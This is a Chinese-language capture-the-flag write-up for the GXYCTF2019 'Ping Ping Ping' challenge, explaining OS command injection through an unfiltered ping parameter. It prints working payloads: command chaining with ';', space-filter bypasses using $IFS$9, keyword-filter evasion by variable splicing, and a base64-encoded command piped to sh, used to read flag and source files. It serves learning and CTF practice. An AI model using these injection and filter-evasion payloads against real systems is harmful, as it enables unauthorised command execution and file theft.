[GXYCTF2019]Ping Ping Ping 命令注入+變量拼接


看到了ip再來結合題目,得知是要ping了。這里我們可以運用命令鏈接符,進行命令的執行,漏洞的起因還是沒將用戶的輸入進行過濾就進行了拼接,所以才會有這樣的情況;

我們嵌入/?ip=127.0.0.1;ls 這里解釋一下 ' ; ' 的原因' ; ' 作為命令鏈接符號的一種,表示執行完前面的命令之后接着執行后面的命令,順接的關系;

除此之外還有一些命令連接符有:& %0a %0d | || 等等,

 

 

 

輸入?Ip=127.0.0.1;ls

 

 

?ip=127.0.0.1;cat flag.txt

 

 

發現過濾,繞過空格

< <> %20 %09 $IFS$9 IFS IFS 

$IFS是bash中的內部域分隔符,可以代替空格至於后面的$9數字是可以隨意的

 

輸入?ip=127.0.0.1;cat%20flag.txt

 

 

 

發現過濾flag

查看index.php

?ip=127.0.0.1;cat$IFS$9index.php

 

 

 

發現過濾了,參考繞過

  1. cat fl* 利用*匹配任意 不行
  2. 2.echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行
  3. 3.ca\t fl\ag.php
  4. 不行4.cat fl''ag.php 不行

變量拼接

我們看到源碼中有一個$a變量可以覆蓋

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

 

 

 

官方:

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

 

可利用內聯

cat$IFS$9`ls`

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM